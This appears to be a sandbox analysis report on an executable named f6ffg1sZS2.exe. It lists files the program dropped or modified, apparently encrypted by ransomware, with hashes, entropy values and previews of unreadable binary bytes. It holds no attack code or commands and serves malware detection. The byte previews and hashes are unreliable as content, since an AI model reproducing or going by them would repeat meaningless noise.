Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.556343334204134
Encrypted:	false
SSDEEP:	12:GEsv6bw3NmIcrdtFQF8wue0/bZ1jewgvRW7oftoFPRLCYzLbS2cii9a:GCbw3NKtm8wutl3gvRW7woFVbbD
MD5:	8B42D6CA53CFF1E3892BC4E3F3CB9C3B
SHA1:	0504B25E3ADDF40867E312C654E541BEB8427938
SHA-256:	DDFC3E6CAD72AB203C1181C5D8B42232BD6B5148EB84EB0BDFE085CCD4E2428A
SHA-512:	7D4BEBCC1F2782459289333FE8E4BB9E6E785C7DBE89FD6E8426AD7461AACD32353D9BD021ED4E123764D6174A6DEDC5E70B4B15BE4C380378FDCC4889A6BAB9
Malicious:	false
Preview:	.h.6.,..!...u.........x....D.~lx....efg.).L~...J.n...:mW\|....8.2w.c.e..K.[u..=f).D...E..6.........-=..T.....?.....[d../..X.h?.*.-..p-...@..a....Fy.5..d.......9.m)..2./=.AR....#\.}.0...c.5r...............y\...y. ..].+..bD..09........;.\|.g.U....)..b.G9.^l.D......D.......7......@.{.@.{.P..M...6.."...bo.. .).uH....q....z..OC..rCK...2K..].......$..`...lA;....b..&l..]...#...:9K9...i...Dd...7.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	modified
Size (bytes):	635
Entropy (8bit):	7.660327165103221
Encrypted:	false
SSDEEP:	12:k8Wk0oIietgDAddrq2eiRCxNFQfeb5/iqDfxfgsCdGdMdDUDbaSZrfsqER69Urzk:1WkDGgk7W2ebxNB/iqDfxl8d4DfZrf5T
MD5:	C6954FD1A391B57AA2D8C6E4BFB932C6
SHA1:	4236A76B21EF82C66D6079423E5698D0B5E32D07
SHA-256:	D5E600DE99133E888A700AA9BAEA55BB89782C13524E9417EC4045E538FF7465
SHA-512:	9CAE2987041646467F6522FD2EA233A981237D5D37DE9DD3AA29FFEB4A71B810DE1A624DC3BF4C14D816035518EB849876CD25866A39B91A0111C1C0BA7925E0
Malicious:	false
Preview:	2023/9..q......".b,..s..}........\..z5........uH\...nQ...V.N`.#...&0[......*......0....k...&.E.........{............@>..B.......R.^.V?q.na).;P.z....C8...4.##p&.iD..c....P.$.}...V.d.C. ...\|...D.........k..(..$(.0...p...c...@.RxNJ.1..?_.v+ < ..\|.X.")A.(b.....X..S.G.....wnkY).fZ.bH.E0....5Q..d3..,.....U.3y\.S$\...=m........B..S=u.. `.L...`..x[.....f.....L)....0.(......T..cO....p<.._../..1..2.D..".Vn%^G...!.T..._...;!.j..]x...i&..x...v...&}..6.$.Wg.e..rQ.$.\Q..^..8.\`.........@.!K"0b....;eJ...2}....'....1.....R........\|.jT.+?LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old.paas (copy)

Download File

Process:	C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	635
Entropy (8bit):	7.660327165103221
Encrypted:	false
SSDEEP:	12:k8Wk0oIietgDAddrq2eiRCxNFQfeb5/iqDfxfgsCdGdMdDUDbaSZrfsqER69Urzk:1WkDGgk7W2ebxNB/iqDfxl8d4DfZrf5T
MD5:	C6954FD1A391B57AA2D8C6E4BFB932C6
SHA1:	4236A76B21EF82C66D6079423E5698D0B5E32D07
SHA-256:	D5E600DE99133E888A700AA9BAEA55BB89782C13524E9417EC4045E538FF7465
SHA-512:	9CAE2987041646467F6522FD2EA233A981237D5D37DE9DD3AA29FFEB4A71B810DE1A624DC3BF4C14D816035518EB849876CD25866A39B91A0111C1C0BA7925E0
Malicious:	false
Preview:	2023/9..q......".b,..s..}........\..z5........uH\...nQ...V.N`.#...&0[......*......0....k...&.E.........{............@>..B.......R.^.V?q.na).;P.z....C8...4.##p&.iD..c....P.$.}...V.d.C. ...\|...D.........k..(..$(.0...p...c...@.RxNJ.1..?_.v+ < ..\|.X.")A.(b.....X..S.G.....wnkY).fZ.bH.E0....5Q..d3..,.....U.3y\.S$\...=m........B..S=u.. `.L...`..x[.....f.....L)....0.(......T..cO....p<.._../..1..2.D..".Vn%^G...!.T..._...;!.j..]x...i&..x...v...&}..6.$.Wg.e..rQ.$.\Q..^..8.\`.........@.!K"0b....;eJ...2}....'....1.....R........\|.jT.+?LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.633508131191159
Encrypted:	false
SSDEEP:	12:k29bODu3324+3KtfATxB437SqWTRjMvP3D2PfkK+PosHW3VY/yS2cii9a:196u31tfATD43WpVjUPCSQs23VYKbD
MD5:	E155BC4BEE9B4D73D9BA2780B6FDB5EC
SHA1:	927C91478E22CB6AC101196AB572F16FB4714D49
SHA-256:	A07C1E10DB0FDE878D5926C01E65A11102CE013F60F5CA7DC4424BE4D6BBB076
SHA-512:	3CF683CEA9123621BB64A110F4D6546DD3F3FAB38F2A5DCD77889A6DC2E8A99809D8CD6B8B12653C0F1D4CF4829A7DFC9CC1D7B0001D2C1085F4514A437BB3D1
Malicious:	false
Preview:	2023/..W....;......R~..<....}...`.Wi;..c.....p...X....F>#P....S....\|j.%T.J.wq@.....f.).ae..%P..<....... hm.}iyX..[EY-......HG.f3..q.0....\.`..e..^........}g...x{.Vk.B..k...m....w..<...6.t'4!..'k.I4.(.6:.:.2 .9.....&w.ge.py..'J<l.v...Gh.*_....&./.Vlz.X.s.V6;...~.....O..W...-e....='@@.B(k....8..7.`...+mM..c.W..V4.;8r.h..e....CP./o....ci.>..zr..D.Oo.......kP.^.:i....m7.F...g.3.35......0.&u).@.....lQ..^-...d!......P........!`./..=1.........^.O."`.R>.\|.U...I..Sw...'.e.H.1.......\|.:.P+...t...,U.f.t.?..Nz..-n...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.746993597683307
Encrypted:	false
SSDEEP:	24:YKWDIDYXB1rMo7xJygNuAqq8GAi1JZ9DsgbD:Y5OYHMo7xJv18yI6D
MD5:	271230F65B56ED68A8BBA87A77F4D073
SHA1:	183118BC7E6254102E133BA576B767D3508AFE91
SHA-256:	E51C880DEE17155DA9773A554E0A5D74B6986DFB6523CEBD3F79C6DACC51882D
SHA-512:	11405D230B788A15B2E323CE6A6B653C20370F1DA3F158D8F98756C687A2B30FED3BDB0BA6A50747C248BB621296F8F8BC99C298B03060C046C8FAC263E0DCD2
Malicious:	false
Preview:	{"os_.G...f.`.....C..qpA.64II.o.....J\|....p........o=Q..ZYE...1.9vM..5.n.!..Q2.M...3...{F..GL.d@&.....f.0$.......r...)59k......#.."_i.N.E..0y......>5..Z.c..f4.i...%...[.N.e\N.........}a...1u8.X..]..0..8..n.5....Kh.......c..\|S.!.....L.6.....T..V.~A.w..i.N].u^v..l.7*.b4.=.g..Ad....SCI.W.U.H5C...te.~.^...e...L..{..h.."..d:.z.aK.x).....M.....C..L.v...I[........R8....$U.R{..N.....S....O.... ...d%...W..C.`...iaO'...._..GL` .P.v.G...!.7.V.\|..!..\..3..$Br.mo.Mr..AM;.4....@.`.../....<..O....."HX:..5R\|....A.1l.,..U.w.\|..T...JG,.l.//..:...s....U.....4[%r.&.....Bq.fN.}.........:.]A..MX.U.-..9c.fLj.nk!.....;.gbo(._...ckq...$....=n...X..[-.-F._VB.F.q7.....2G.N...x..S@5.....$BQ..0.e..>.K+...Z...Y).^...U.^y.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.867514050481489
Encrypted:	false
SSDEEP:	24:XooUyVerVcy0MT6KvJk3osOJEEdtdrxMLAv0PfCnMc04Ewlt4m/FMFyCHEZm2ii5:4A4VcyWeJkYsOxCPfCn/EYtZ3CfXQD
MD5:	FC963A49FA093590620708F8DD108D7D
SHA1:	C6F1142A2D9A796842FB2BB227F00BB3059CEBBE
SHA-256:	23621E0A962163A1302B844E2902B76554E73B45283808A794343D027FD2B11D
SHA-512:	EC1A59B41BDF5A81C61A090F8A4C5D8F06504C01C48FBE9EC7C43B9391A423B8D40A6210AB5ED3820F372DC8C908B10D4E953DD4E8BFC36ADD45B7EC1B25F250
Malicious:	false
Preview:	%!Ado...}.G."f..f.B.z.8)th.[h.m.x..I..=V95(..`.[B..j...S..".......2.XS..cz...U.....>+...d.#.V.K_.....m..),.b.u...aE...:....l.\..v<..'/.e..}AN...r.ypwAY.....q6..!.V.!...6.....S..+6H..^.q.......h...D.)...\|....6.....z.4R....O.@..f.Yek.;uQ...`.....`...@KB.as8...1!..v..a.!..eDO.....F.s...V................$K..)'...........]...(!..]...X...u..A.n...n..Yi.TA..P.x.;'k...v....].Z...\...v.@%.......H....QR.&.....$.....8..M#........Q.Zu....]K..K.X...../w....C.}...y.U...'As8.....w.gi..Q0B..1....d..7..z..Z....p...].v9.>...Y.n..,..^.....\N)...w..._^.......\.n.$.&.....M..9^..>r.,.K...L9...B. (.3..B.}.P.)-.........=0.\|6...Ddw@6N..../...0....J=.T..p(e.#...2A.....%o.j...j.....I.....9(..K@i.......#.+.!#...&.nQ.d............8.O....Dl....pq$J8U..\|.@g_..,....Q;...2..[.K.H.........wVo.'E......DV..y)..,.a..q....0.::..q&...y..b..LCaJxT.h..Tr. ......S...`.k...._...u..4..6"l....my.bC.P.y.((.G..'k.q!t.].g...KQ.=Gq.......c......;...<.d3.T..xt&..{...2..P.....Q..q^..._

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.87850110509758
Encrypted:	false
SSDEEP:	3072:uI4Kj264fGKrkzhoyt5VGFFx+r5No2RY1cudN0QKdoS84oieTJG1XE07ZmandGCE:X26yGKrkzSyt5VOFAjor3z0QKddvJ/1i
MD5:	AFB8339159FB75A5C06F07225EE04F3A
SHA1:	775504391B5EC25978708F2B9DE0D4108D72CF3B
SHA-256:	2F882B5BECABF11104F919C3CD6F36524DAF8000911DFA125ABDDABC711E7449
SHA-512:	7C2084B8A25728D867DC38425399588DD4D499E33B615DAB8D977152050F0B38886E8D4021E2D5A6625A7976A9BDE1A72F25A90D9E85EE85A2575CA7EC7FBC54
Malicious:	false
Preview:	%!Ado ...8.m.B..>/...\C.5..F......V`(=Xl.X..By8..._.q.e.D.D...J^.tQ.6.......5...,..Q...;a:...K.jF.8..~m8..c.....7......._..^..m...3.,>.......?A.u..W)..K}.y~,.z_.....i........T..@duZ.,...K.3.2..h.....$.R...o..i..v..u...1..:kn}#r.?.^...I.W"...].~Y....!.?f.0'..o...../".1r......+.f13{.....\...;uZ...R..1$......I..2.{.<<.`.b.0.....[^.I.x..."...H.V......<.+Xr.......Y?....4..&......d\|l\|BM..f...o...,x."K.5.B.....+v..@...@.!..5....RN.....#../KS.tB.G..t..ty&"......h.%&2..xj.]TF.......&...O#N.3&..ny.l&..9.8.M#1g./].]......W.9z...3..Tk.6.:w..q/..3..>...e@I+..Rj...r.r.yX..W.&W.6.<.&.a^,2..S.o.{[c.=.E.C....G(..j1.....lx?+t.(....z...Hd.."8.......5j...<.phH..[Ne.'.k.6.Z.......bv..."...9......&}..2.....@..\.R)..-;t.m\|>3..`.ui.............?.......@Vy.iQ...{..w.$F.H.f/.....f.~.U..2.?......x.4\|.....^.f....e.w.K..H.......P...........Z,N<da,..b$:K....[.Z...\|..p$.g6...C.o.....1`.....G.z.+%....[.x<e.>1(.:.>!..3.jd......m9.m.#...#..4@.LRsS.......n..`..B..M..P.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.820505497895925
Encrypted:	false
SSDEEP:	3072:f8zHT03sWnc86UxQaFIdCVonm/WFVsX+KE71Kx7CUnMhT4dabI+q1Dp2OolNln4:k7a6OWU1YiX+U7CUngdbItNYn4
MD5:	6F7DB3A89DCEA2EC739719F35DE8600F
SHA1:	5DC829384898FBF6169D1829A3BC051485E8DD2F
SHA-256:	1D9CA10E55379B3A153D767946A0D861681BAE405ACC75A4E4B1D360D7E1314C
SHA-512:	AA078A953B1E9FB784D2355ECC1621930A5CB0533D3549D9C82EF24FD2BF115DF26604085FF265186CCDB9587ADBDC83E072A979CDFA9CE35707195B70551423
Malicious:	false
Preview:	Adobe..5<^..\|.W.....q.C.......y...p...Fw.S...u.;.}U~%."k^...C:[../.{7.65...=..67.2...x$S2..j0^.RYM.....>..._.8.rt.X..t.n.).dcE..1.k......_WE.h..@.........N..:<..L.5~....gu..W..B_.."p..CE...AE1..Sb+.[.Z..j.g...".5I4..{3tCWrl..A..%..wn..!h...c.g.-...7}U.0S..qo..W..r......p~C...............DJg...E...u..+.@k..O....7[6@.g..-R.....H.....>.".3Y.Vf.w.......-..VS.K..v.#...y...r#..e.(....I..d.2...&.Y.\....oN....DB_...r(....\|.6_....^./:0C$.RiJ..m.2.A....{L...>....t.O.v.I........mpv..X.YS;..o.>...9../.3~hj...$..U...N...#..?!..-...!S..x36\W.......SF....... vN..Rb...bk...,C.7$.^.7.;.o..(..:.t.p..ju,K....r...8..0..=Q%$J.[.L!.....k4..h6.FM...Z'.IrB.....' .=.n..JuG.?.#g+C...=w.....z......7 ..WR....w..g..z.....(...,..0P..@6....9.oVc.H..4@.Q2F............e..D...V..l......q...h.`Z......j.U]....l\|.....p...$B...\.-......^8(9.83Uw\|kS..4..~..,..>W.4...t...._p.......J..'].....L.....&.L.. $.u.).......H4...p.......Lf..D.R6}..4..zi.1.<Q#...Mr]....g...K$.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3152
Entropy (8bit):	7.941689117984824
Encrypted:	false
SSDEEP:	48:YH2bB9mko/6Jvep6IejIBmsc96HmzbLFqKGeMcvessteQdktgN1ZIRN/ioD:PM/gWpSjaPdmzbF1MWbv6kSN1ZIrq0
MD5:	79DCB858175A979971AC75B66DE2E14D
SHA1:	E3A0F6BD616270A6CD5955093BFF82C96814BC6A
SHA-256:	1FF09E85290F603C3A733EF3C498BDC3867AA135C8A8BABE1242ED8E1FEB2F2F
SHA-512:	1D6CB023B7E0968360D995A43575FE7CB7A711CA501E7C3206820F407D5F8AA7584CE598B99CCF6C672CE4E45A860BDB862E5F9E32A47D5B56A6B9BE626D2AC1
Malicious:	false
Preview:	{"all....K.....$..86.......K.x8.n.z....K.l.-.....M.......q7.6fFQL.....Y..;.k../....9.j..F..\|.....>.."A..$e.;....8.S\|. .,..y......3._.:...a<... ........D....;)j....Ob.4O1...C. yV.CN.. ..bp.@.E.........u.c;.6.YL.}..-n...r.....m#.RZ.~.W.`..g'......&y@...24 .nu)..ZOE.m)@.+.E.......{g&OVZb.:....jU.~..\..!.MU..f ..._9..0(,:.LxC.'....Q.}..[A&....@..dB...:A.nb..)hv.....gG.S.....].8L._9.f.. ...qv&.']E....<..9.J.g./...n.B.(..f.([[e.....Y.."&Q.c....5../.4C..8w.:....G.K.Kk..6.j..#.3.... .w..-;.t.T(.y...$..VM::..1>........5.n.X".V.R.HQ..Oj...TV.....PZ....c.%f.....r....(...&..H.....'.........t....."..'X'..c.#....H..X.......]^...O.`h......<.ugv..Jp.......u.........C......n...v4..lU%~.LO.3.$}......H...!....9.ZG....Z.e....k...IH.[..kh.#AcY..f.=.....=z+!X...y.a.3rm...9..8...X..<......z.r.,+....=m.QA.....E(......N._~F..z.65.,..isXI.o.g.D.VR.HC4..)...P.I....~.N7pq0(......"....7.48S....j.s....r..7Va../..2xBC.l-p=....Y..............)cphY`H.a.#........

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997628525773527
Encrypted:	true
SSDEEP:	1536:7uAQRJ5Dd5AD7lUJJUyatiYGOFzztCdgCr70cfKJrW:7uPLAkTaQOy570cSJrW
MD5:	A628CB9F490ECCA6144CA60E510B0D4E
SHA1:	B85C5EE81474FE325EEC9CDB9524F2C640DA28C1
SHA-256:	877F887444284CE963A82B77C016A6230F1BFFFE5786E5EC3787A76255D8D584
SHA-512:	BBBB4B8E69EC07E9671269103A69F39B0EBF76A6C88B2293A33555218BB1FF21737DE6372EBA0419E666083CC535937D7734505E353CCBD9A98C56BDC80689B2
Malicious:	true
Preview:	4.397..M5{qH.`...,..^^.....r+}v......t.:LA.....d.OQ...."=...%....;K.....$.8...{O..2.ML.......3.".Jqe.Sq.rs..k\|..M.!....{.P..F\|.>g.4....E......P..z...1b.,A{D;A...Z.&m..2...s..P$......8...)'8..H..5h^........T%6..I....Gs.g...d<....Vn^........s.......8..V..6v.[....Fr\e..G.5+t.L....b.G.6m.H.h.=....y....Q.....%........+.$0.n .....L.+.Q......FJo.g.F...<.V8.9(c(,^.2...]..w\....hRhn.-..}..fz.. 0..._.<. .........1../........g...k..z..9C...h.~....(.q?...Hp.@...-w\|.....u.{.L.H.&T[.\....h..e.z.....m\+...=1..b......Z.l.m..e....;.z.>....t9W....2/.S....R...)(....)N...f.i..1...,.?....$?......)tSo.=..Kw..a.......TDM.%.,...-.....i=x.'{-...z.A......Y.bh.:1./..q"].U..g-$.+..Z..(\|...=i..(..K..)..(RNP..../...(Ix..a....5i'...-O.U.....M........Qu..ES{...i!..!h?eS.8.<<.....b.J.,."<.`..W...j.....?J6+.$..n.].d....0.MT..GKs.A..\...}+U$.J't..$y..W$...F...y..\|.>\..J...\.....]Cu..Y0Pr..`E2/..7..M...%.7.\.M^.,.Pv....o.X.C...@..O.3x5.S.QD.j..}7..oPJ..E..j.

C:\Users\user\AppData\Local\Adobe\Color\ACECache11.lst

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	7.741329133623105
Encrypted:	false
SSDEEP:	24:kpRUmOFMvz8we2lM+pvSJKcfStiF6jQZVVFobD:kpRuFeZa+BWKcqt+ryD
MD5:	FF3E40E57EADB42F3728D72C84C074D4
SHA1:	8DC7A4574B2F14653BE1673D6566D92AFFE829D6
SHA-256:	91203A02BF641C5953A67610C45E8745FBBBB1588024C2A69F0769686B703909
SHA-512:	714FF81B44F9A1DC286E5886C9083223ACA889A2C825DBEFE0AF5917E53884426FE78C0D3D0E582E8A428CD4CD3B16DB65A72654BEE58F47BA5A21EDD6F74EF2
Malicious:	false
Preview:	CPSA....K...Ul.....E.N`.;.2..D....<.-D^".4.B){i]......RI^. ..0.....a...A..J~..y)...._..e.?.......6.(.........I....}...r.t..u.A....r.s?&.:./.....}...'b.%v}!<.Z.b..O.s.Hb.{..9../.....z.Z$....n.......L?..v?..)Y....)....?.k..../..>.....[.7.zzS...aw...X.!@...E{.{..T`...y..).N.c..IM{V..R.g.3.QDO?c...c...@.......I. ...w.....B........O)..gm..i..>.s..a.C.....r..H._..`..k)V.$P.`...`...z..H.k..KN..X...3e...&.ee..ms..5.....e.^..).h.T.x.#.1..VlBcb...<.=g.S.5.(2-.&......d(.z./..{x..."C.c.>D......w.*H.j7./P\|.....@I.s.a.tk.&{..^.......s..(..a....>...g~.t...~w..,.Eq...<...(......x..EJ..2.N...)......H..CL....m.q-..`....4..`7w-...S.Gg...O..2..]....w..C....w..Tf_.k}.`.......!W...D..#..#R.I...RTA.m.W.........c...\...4r.u.2L...ZR..%X.-...M.D.B..{.ZG..i.Hx......U.@.m5.v2...q...g..z.[!.F........O8........i.7....@.....%..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jcp

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976994986197679
Encrypted:	false
SSDEEP:	192:U5zoveXISO2MAZlN3gVVbKHL2GoghHQE5nIkYQUqZNO43No9Od753WQ6:U1ovrSO2VXgnb42zgFQ8IJQtVosdV3d6
MD5:	5DAC5101FB1C025E5C0316B06A5D8BFB
SHA1:	135F0EE04BC8B29BAAC69A3FAA9DAF76B77A88AA
SHA-256:	D781671B7A10D924EF95778194145A1C5823F10417E593171DA4CB6789EC69A5
SHA-512:	7D8FB3A874A058B5B8FB04D1571209C0EBAB76378741ACF29B8861E70E9B22DEA9D4ACC74C716F38754EB68F42DA8072F28A3FA77EF3FEBAB78140ED98207F69
Malicious:	false
Preview:	.M.#...m.Rt.......q.B.L.e.../hF.U.f..7+zaZA...D.E;}...{.....2.i..+.~.yV.6g..F....p.....q...4..p...>_...R....}.......<...u....M..-.#..Wq.4.#i$...{-..$...zZ..7T+B"..h...%../..-..k..............v1.?{.........0....Q......lbJ..5........-.(.......M...4Oc.]p(.bs5.\|..#...%s.KY..58K^.F..>5..c......d..c.1..@e!.!..LD7C.....,.o...s.../s%[{vDVow-.J..+6.D..m"3O.o......%.t.8b.f..F.P...G.p}..X......;r..#.\..'...Y`.....Pb...'.Ul..%c.9.G.O.C..~..'...]..\|.........)...... .l9)Y.]c........~km..e..0.60;.+.Y0:O.8.'..&.....A4.rgJM..r\|............+.=W.,...../.\.9.'......).w..6%<#<t.P2VBBc..../q.Z.e...#..0...{..D...(.r.1<m...g.....Q.. ...>........j.C..........X.!.0..0.(.x..[..:9...9.@W...TcJ......[f....%xz...$e?.....nL..z.^....N?h. ...#.o.......k..Q0..G..).,..:uwZwc...R...f.v5T`.`.....$......'.e"........W....0,..u.!!t(d.\|.....I1....qo...r...y.!.{.c........9w6.2p.vd.q.x.s5H/....dc6-.Q..vN..!.Sg...].\...i.9...27.F%...L.4w. ..u...z..)..k.d.`...r..Y..\|,.).{.....

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jtx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	1.7334770137913078
Encrypted:	false
SSDEEP:	6144:5XNHFFKUpePTtUbgpMic6aKQ2s58NYfo3agO/qqv4RROYdVbtzFnrG5J5qh+AJ3A:fHDZATti+Zns+NYrfCdYSk
MD5:	748FEB9B38BDE72685869154999BB14A
SHA1:	EFB90C2F1A7E365E2C29E640AD710F972D6B21D8
SHA-256:	7EB32A840194A6779258610CFA5679C168A198995E0417427D3E8BB8C25AB164
SHA-512:	5C93C3A1031871C2D892FED8779EB725585F6D60DE7EF3119B73210F08976A0E617ABB3A518928EF6A81C60AF42CB36FDED485B8BFAE675BD97BAC719D3AFF9A
Malicious:	false
Preview:	...?..Ci(..S.....$t\.p3X......u.......4#3 ..H%...\.7E.?9JLr..b.o.#..\.T..1O..0e7..).~H.-.G ..L.$...7.w...`...oK....-H.q...Z...X.......&..?..FK.y3........_.T....<sLi.'>!M.....&.,..D.........\|'o.CI.k..y9m[.I...=.)o.PlgK3G..Sg.....TG....2.4M.90..A{.L.SQSz.<..]X..+h.X.U..K.........<....E"...P..<o..l.;oe99,.....X..o.[.-\|./E..r6A2...\m..D..F..E.......J.....o........`).%..9.>....:..w....y...=.pz.48.....>...5.q.....^3`..u.3..rak......T.Atg.R..T.U_.....RU.t.?....(./.qy.R..qeMQ.....p.N...]Fl.Q..+R1...C.....y.uG...`S.j.[.J...U.qN..Yl.!...Ao3B'.WrC...........=)..z....T......NL.tCO..Sa.R..T....[.5X.k....sE.i..Z%..e"...\..lY<..Xt.....L......%.{E\"....V...G{X...u.;.q......Qm.!ks..&...[..w.ZF4.%H/..j.....<.."BV.g..O.N....#J.mi...X.{~...m...-].8.l$..W..bN...Go.i.k...=...,mke..j....py.7,x.<BV).P..l!LT.m..a.w.e....M...S.C[.2.wRT.=.F.d...(.d.=j....!.2lT......:V.......e...._...yd.J.&.W.j.......~z..X...3h[..tc._....bxS.,..>I.-?....8;2......J.....m.

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00001.jrs

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705130771336434
Encrypted:	false
SSDEEP:	3072:2ANt612IrQ470qS1PKWeUS1EjWOVNZRbw0+1J0Gu7Z7TS6Gq6:2AZIX4BESxjXNfb3S67tz6
MD5:	6BD954BF0B4115954B2D52D699D52AC5
SHA1:	8A1DCDDA78C310764A7CE8C37353BEB33AE7FDF1
SHA-256:	1554B5190F4215B30842E2AEC4EFEFB007CD2DD6E6669567570A0AB525973E41
SHA-512:	02FC23E00DBD1A7547DDABA14FAF7A28112EFE7F9C75D05DCF51293E428348E3E67BD62F3743DF813B7E2F5968D403BE078CE4F93D9FB80912632431139B5119
Malicious:	false
Preview:	......r5s....o~..23....;...$^.}%.......s..A....[..n..p.lYK.<FR&;....$.e...}.zCyf;.B.w.k.4\|.P.<.9..{...6]R.....'. ...M..Z._B....[.u..R..1....=.fw....y.5...of..P...j.>~#D......+...jR.6.......?..\5.A.v.....AW.A.Tk..........E&6.w.8...SO..4..(^D=L.m.D..o....[C....+...V.......4.m.7JJ9...4.n...\|.T.\|.....v.d,.VK.0.6\.6.._.0...Q.84L.$U..6...8.-k).NA@]<....{r.{\.3..@..s.[....9..... [J...S..d.1.?]..$..;.h.P....p..6.w..u.....e.`...#.(......+@UhP...F..z..AC..P.......1Pp...S<......Y..(...^..K$..,.rd.T.;.........GM...a,..v....+s..Bc.Rt.tHF.[:"...9.Pl..C..l.Z.I.W..D.m~_I....Fxg.[f.Rj......IbSL.).....93.T'.:..th.P.{.a.,'.<.<...F.I.(Y..3y..........4..u?b...x....-G./...[. 7,..E....=..}.....e...V6....I...kR.Y..};.2.(..].>. .CG..#-(.0.5r....E....J..B7].u.._7....E..G:Iwfa.c!.A&X$.H.....%.....F.0B...@...H`.S.k.z.R......$".....4v..P}...=S....O.."~.\|.IH.....GG.k...&.\|LLU..{.......+_......Vd..?:}..6.......JO.g3...T....M\..q...."e..*.]...>.qrVN....._.o.$..o.5

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00002.jrs

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705898365399096
Encrypted:	false
SSDEEP:	6144:wKhU+9FBF0Ky93l1Z7by9YfUWFcBkxYRE4iX:wkt0593lzCYsBBk74Y
MD5:	322CBE559799FCA20E54D6858655022C
SHA1:	B6F0721DA21436E2A2AD4B12334D08F4B4C0D0B2
SHA-256:	E1DC2B1E8A30D640E0D8733575D652AAD5EF53D78CE4AAE7CB60CBCF5DDBCC1D
SHA-512:	67DBC959F10A43DCBF4EAAEB8608D7ADA0835074B5C6A5B6D9283ACA3462378CADC7ACC56132BADD63841D0F4A4896CDB2BB1093C1EC40E42EAADC89B3A7EBE3
Malicious:	false
Preview:	.....9.T..K..Uw.....'...g4R.... c..z.S..5.,....B..).d1....4..\|.....S{C.z..Y..../j. .v..Y.ow.]to.n$N3....4....K..X....%.......By..%..!.O....s=...W..a....Q..1.E..og..X.>.....Y....\|S..\K7)......?HeT.. .Q.g..^X.L..O.Oe....B.@.D.)...A......}....#I....]l{Z..56.6HS....Q...=2!.....I....J.d)<.........K..L...b..TU.....W..Q.w1...v.g.?..\r.y...vF../... ..wM.....g~.K..g..&..o%...d.C.&v....wB..<s...a.E<.\..z...Z.o]$.u.=9..^..H.6...>....}.N.#...'.s..mQ\|a...X.j.(.w.......S7`..'. .h..n~A.Q. .5.....y3._.F ..'`'.w7B...z."J.........t.....%K.D..U...R......z...Bh..i.....Q.d.....)......T....{.T`...lu/J.v_5.>Q.............I.O~....Y..U.C.ba{."...6+.M..g%..Oq.b,...[d^6..m..\..es...m..SQ...U.Hp..[.....55....pu.\...-...1.{Q...Z.L.... ..S..._)...5.!4...H.6.yS..~e..U...2...(f....v`$.......K8....~...`G^u..7.J."...i.4.5.N@.......t._..Hl....=.(Iz.....Fkx....I....Xf.J.-_ 